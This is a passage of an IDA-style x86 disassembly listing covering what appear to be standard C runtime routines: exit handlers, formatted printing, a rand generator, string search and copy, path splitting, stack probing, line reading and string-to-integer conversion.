		jnz	short loc_41C224
		mov	eax, dword_4DD3FC
		test	eax, eax
		jz	short loc_41C213
		mov	ecx, dword_4DD3F8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41C212


loc_41C1FF:				; CODE XREF: sub_41C1B3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C207
		call	eax


loc_41C207:				; CODE XREF: sub_41C1B3+50j
		sub	esi, 4
		cmp	esi, dword_4DD3FC
		jnb	short loc_41C1FF


loc_41C212:				; CODE XREF: sub_41C1B3+4Aj
		pop	esi


loc_41C213:				; CODE XREF: sub_41C1B3+3Cj
		push	offset dword_429034
		push	offset dword_42902C
		call	sub_41C24C
		pop	ecx
		pop	ecx


loc_41C224:				; CODE XREF: sub_41C1B3+33j
		push	offset dword_429040
		push	offset dword_429038
		call	sub_41C24C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41C24A
		push	[esp+4+arg_0]
		mov	dword_4DBE74, edi
		nop
		call	near ptr 77E75CB5h


loc_41C24A:				; CODE XREF: sub_41C1B3+85j
		pop	edi
		retn
sub_41C1B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C24C	proc near		; CODE XREF: ___:0041C179p
					; ___:0041C188p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41C251:				; CODE XREF: sub_41C24C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41C264
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C25F
		call	eax


loc_41C25F:				; CODE XREF: sub_41C24C+Fj
		add	esi, 4
		jmp	short loc_41C251
; ---------------------------------------------------------------------------


loc_41C264:				; CODE XREF: sub_41C24C+9j
		pop	esi
		retn
sub_41C24C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C266	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C2A6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C2B3
; ---------------------------------------------------------------------------


loc_41C2A6:				; CODE XREF: sub_41C266+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C2B3:				; CODE XREF: sub_41C266+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C266	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2B8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+315Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43AE50, eax
		retn
sub_41C2B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2C2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43AE50
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43AE50, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41C2C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2E0	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C35A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C347


loc_41C2F8:				; CODE XREF: sub_41C2E0+52j
					; sub_41C2E0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jz	short loc_41C314


loc_41C309:				; CODE XREF: sub_41C2E0+32j
		mov	al, [esi]
		inc	esi


loc_41C30C:				; CODE XREF: sub_41C2E0+3Fj
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jnz	short loc_41C309


loc_41C314:				; CODE XREF: sub_41C2E0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C31A:				; CODE XREF: sub_41C2E0+23j
					; sub_41C2E0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41C30C
		lea	edi, [esi-1]


loc_41C324:				; CODE XREF: sub_41C2E0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C353
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41C2F8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C353
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41C324
		jmp	short loc_41C2F8
; ---------------------------------------------------------------------------


loc_41C347:				; CODE XREF: sub_41C2E0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C996
; ---------------------------------------------------------------------------


loc_41C353:				; CODE XREF: sub_41C2E0+49j
					; sub_41C2E0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C35A:				; CODE XREF: sub_41C2E0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C360	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C15p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C39F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C3AC
; ---------------------------------------------------------------------------


loc_41C39F:				; CODE XREF: sub_41C360+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C3AC:				; CODE XREF: sub_41C360+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3B1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+2177p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B9C0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C3EC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C3EC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C3E8
		push	2
		push	ebx
		push	esi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C3E8:				; CODE XREF: sub_41C3B1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C3F6
; ---------------------------------------------------------------------------


loc_41C3EC:				; CODE XREF: sub_41C3B1+18j
					; sub_41C3B1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C3F6
		and	byte ptr [eax],	0


loc_41C3F6:				; CODE XREF: sub_41C3B1+39j
					; sub_41C3B1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C46E


loc_41C409:				; CODE XREF: sub_41C3B1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DD2C1[edx], 4
		jz	short loc_41C41A
		inc	eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C41A:				; CODE XREF: sub_41C3B1+64j
		cmp	cl, 2Fh
		jz	short loc_41C42E
		cmp	cl, 5Ch
		jz	short loc_41C42E
		cmp	cl, 2Eh
		jnz	short loc_41C434
		mov	[ebp+var_4], eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C42E:				; CODE XREF: sub_41C3B1+6Cj
					; sub_41C3B1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C434:				; CODE XREF: sub_41C3B1+67j
					; sub_41C3B1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C409
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C46E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C469
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C452
		mov	edi, esi


loc_41C452:				; CODE XREF: sub_41C3B1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420B29
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C469:				; CODE XREF: sub_41C3B1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C478
; ---------------------------------------------------------------------------


loc_41C46E:				; CODE XREF: sub_41C3B1+56j
					; sub_41C3B1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C478
		and	byte ptr [ecx],	0


loc_41C478:				; CODE XREF: sub_41C3B1+BBj
					; sub_41C3B1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C4CB
		cmp	edi, ebx
		jb	short loc_41C4CB
		cmp	[ebp+arg_C], 0
		jz	short loc_41C4A8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C491
		mov	edi, esi


loc_41C491:				; CODE XREF: sub_41C3B1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420B29
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C4A8:				; CODE XREF: sub_41C3B1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C4F3
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C4B8
		mov	esi, eax


loc_41C4B8:				; CODE XREF: sub_41C3B1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C4F3
; ---------------------------------------------------------------------------


loc_41C4CB:				; CODE XREF: sub_41C3B1+CCj
					; sub_41C3B1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C4E9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C4DA
		mov	esi, eax


loc_41C4DA:				; CODE XREF: sub_41C3B1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C4E9:				; CODE XREF: sub_41C3B1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C4F3
		and	byte ptr [eax],	0


loc_41C4F3:				; CODE XREF: sub_41C3B1+FCj
					; sub_41C3B1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C3B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C500	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C520


loc_41C50C:				; CODE XREF: sub_41C500+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C50C


loc_41C520:				; CODE XREF: sub_41C500+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C52F	proc near		; CODE XREF: sub_401ACD+73F5p
					; sub_401ACD+7424p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C543
		xor	eax, eax
		jmp	short loc_41C579
; ---------------------------------------------------------------------------


loc_41C543:				; CODE XREF: sub_41C52F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C573
		mov	esi, [ebp+arg_8]


loc_41C54C:				; CODE XREF: sub_41C52F+42j
		dec	dword ptr [esi+4]
		js	short loc_41C55B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C562
; ---------------------------------------------------------------------------


loc_41C55B:				; CODE XREF: sub_41C52F+20j
		push	esi
		call	sub_41F8E3
		pop	ecx


loc_41C562:				; CODE XREF: sub_41C52F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C57D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C573
		dec	[ebp+arg_4]
		jnz	short loc_41C54C


loc_41C573:				; CODE XREF: sub_41C52F+18j
					; sub_41C52F+3Dj ...
		and	byte ptr [edi],	0


loc_41C576:				; CODE XREF: sub_41C52F+55j
		mov	eax, ebx
		pop	esi


loc_41C579:				; CODE XREF: sub_41C52F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C57D:				; CODE XREF: sub_41C52F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C573
		xor	ebx, ebx
		jmp	short loc_41C576
sub_41C52F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C586	proc near		; CODE XREF: ___:0041E645p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C586	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C59D	proc near		; CODE XREF: sub_41C586+Ep
					; sub_41C7A5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C5B5:				; CODE XREF: sub_41C59D+46j
		cmp	dword_43D0D4, 1
		jle	short loc_41C5CD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C5DC
; ---------------------------------------------------------------------------


loc_41C5CD:				; CODE XREF: sub_41C59D+1Fj
		mov	ecx, off_43CEC8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C5DC:				; CODE XREF: sub_41C59D+2Ej
		test	eax, eax
		jz	short loc_41C5E5
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C5B5
; ---------------------------------------------------------------------------


loc_41C5E5:				; CODE XREF: sub_41C59D+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C5F3
		or	[ebp+arg_C], 2
		jmp	short loc_41C5F8
; ---------------------------------------------------------------------------


loc_41C5F3:				; CODE XREF: sub_41C59D+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C5FE


loc_41C5F8:				; CODE XREF: sub_41C59D+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C5FE:				; CODE XREF: sub_41C59D+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C795
		cmp	eax, 1
		jz	loc_41C795
		cmp	eax, 24h
		jg	loc_41C795
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C646
		cmp	bl, 30h
		jz	short loc_41C630
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C630:				; CODE XREF: sub_41C59D+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C643
		cmp	al, 58h
		jz	short loc_41C643
		mov	[ebp+arg_8], 8
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C643:				; CODE XREF: sub_41C59D+97j
					; sub_41C59D+9Bj
		mov	[ebp+arg_8], ecx


loc_41C646:				; CODE XREF: sub_41C59D+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C662
		cmp	bl, 30h
		jnz	short loc_41C662
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C65A
		cmp	al, 58h
		jnz	short loc_41C662


loc_41C65A:				; CODE XREF: sub_41C59D+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C662:				; CODE XREF: sub_41C59D+91j
					; sub_41C59D+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C672:				; CODE XREF: sub_41C59D+16Cj
		cmp	dword_43D0D4, 1
		movzx	esi, bl
		jle	short loc_41C68A
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C695
; ---------------------------------------------------------------------------


loc_41C68A:				; CODE XREF: sub_41C59D+DFj
		mov	eax, off_43CEC8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C695:				; CODE XREF: sub_41C59D+EBj
		test	eax, eax
		jz	short loc_41C6A1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C6D3
; ---------------------------------------------------------------------------


loc_41C6A1:				; CODE XREF: sub_41C59D+FAj
		cmp	dword_43D0D4, 1
		jle	short loc_41C6B5
		push	edi
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C6C0
; ---------------------------------------------------------------------------


loc_41C6B5:				; CODE XREF: sub_41C59D+10Bj
		mov	eax, off_43CEC8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C6C0:				; CODE XREF: sub_41C59D+116j
		test	eax, eax
		jz	short loc_41C70E
		movsx	eax, bl
		push	eax
		call	sub_420BB3
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C6D3:				; CODE XREF: sub_41C59D+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C70E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C6F8
		jnz	short loc_41C6F2
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C6F8


loc_41C6F2:				; CODE XREF: sub_41C59D+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C701
; ---------------------------------------------------------------------------


loc_41C6F8:				; CODE XREF: sub_41C59D+145j
					; sub_41C59D+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C701:				; CODE XREF: sub_41C59D+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C672
; ---------------------------------------------------------------------------


loc_41C70E:				; CODE XREF: sub_41C59D+125j
					; sub_41C59D+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C72C
		test	edx, edx
		jz	short loc_41C726
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C726:				; CODE XREF: sub_41C59D+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C72C:				; CODE XREF: sub_41C59D+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C752
		test	cl, 1
		jnz	short loc_41C779
		and	ecx, 2
		jz	short loc_41C749
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C752


loc_41C749:				; CODE XREF: sub_41C59D+1A1j
		test	ecx, ecx
		jnz	short loc_41C779
		cmp	[ebp+var_8], eax
		jbe	short loc_41C779


loc_41C752:				; CODE XREF: sub_41C59D+197j
					; sub_41C59D+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DBE2C, 22h
		jz	short loc_41C768
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C768:				; CODE XREF: sub_41C59D+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C779:				; CODE XREF: sub_41C59D+18Dj
					; sub_41C59D+19Cj ...
		test	edx, edx
		jz	short loc_41C782
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C782:				; CODE XREF: sub_41C59D+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C790
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C790:				; CODE XREF: sub_41C59D+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------


loc_41C795:				; CODE XREF: sub_41C59D+66j
					; sub_41C59D+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C79E
		mov	[eax], edi


loc_41C79E:				; CODE XREF: sub_41C59D+1FDj
		xor	eax, eax


loc_41C7A0:				; CODE XREF: sub_41C59D+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C59D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7A5	proc near		; CODE XREF: sub_401ACD+60F0p
					; sub_401ACD+6931p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C7A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7BC	proc near		; CODE XREF: sub_401ACD+58ADp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 2680664h
		test	eax, eax
		jnz	short loc_41C7D2
		nop
		call	near ptr 2680E92h
		jmp	short loc_41C7D4
; ---------------------------------------------------------------------------


loc_41C7D2:				; CODE XREF: sub_41C7BC+Cj
		xor	eax, eax


loc_41C7D4:				; CODE XREF: sub_41C7BC+14j
		test	eax, eax
		jz	short loc_41C7E3
		push	eax
		call	sub_420C7F
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C7E3:				; CODE XREF: sub_41C7BC+1Aj
		xor	eax, eax
		retn
sub_41C7BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7E6	proc near		; CODE XREF: sub_401ACD+5801p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420CE6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41FF3F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420D73
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C7E6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C820	proc near		; CODE XREF: sub_401ACD+1E1Fp
					; sub_401ACD+1E3Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C841
		xor	eax, eax
		jmp	short loc_41C843
; ---------------------------------------------------------------------------


loc_41C841:				; CODE XREF: sub_41C820+1Bj
		mov	eax, edi


loc_41C843:				; CODE XREF: sub_41C820+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C850	proc near		; CODE XREF: sub_401ACD+854p
					; ___:0041E5BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C881
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C87F
		jz	short loc_41C881
		dec	ecx
		dec	ecx


loc_41C87F:				; CODE XREF: sub_41C850+29j
		not	ecx


loc_41C881:				; CODE XREF: sub_41C850+9j
					; sub_41C850+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C890	proc near		; CODE XREF: sub_401ACD+42Dp
					; sub_401ACD+2FB3p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C901
sub_41C890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C8A0	proc near		; CODE XREF: sub_401ACD+436p
					; sub_401ACD+746Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C8BC


loc_41C8AD:				; CODE XREF: sub_41C8A0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C8EF
		test	ecx, 3
		jnz	short loc_41C8AD


loc_41C8BC:				; CODE XREF: sub_41C8A0+Bj
					; sub_41C8A0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C8BC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C8FE
		test	ah, ah
		jz	short loc_41C8F9
		test	eax, 0FF0000h
		jz	short loc_41C8F4
		test	eax, 0FF000000h
		jz	short loc_41C8EF
		jmp	short loc_41C8BC
; ---------------------------------------------------------------------------


loc_41C8EF:				; CODE XREF: sub_41C8A0+12j
					; sub_41C8A0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F4:				; CODE XREF: sub_41C8A0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F9:				; CODE XREF: sub_41C8A0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8FE:				; CODE XREF: sub_41C8A0+39j
		lea	edi, [ecx-4]


loc_41C901:				; CODE XREF: sub_41C890+5j
					; sub_41C8A0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C926


loc_41C90D:				; CODE XREF: sub_41C8A0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C978
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C90D
		jmp	short loc_41C926
; ---------------------------------------------------------------------------


loc_41C921:				; CODE XREF: sub_41C8A0+9Ej
					; sub_41C8A0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C926:				; CODE XREF: sub_41C8A0+6Bj
					; sub_41C8A0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
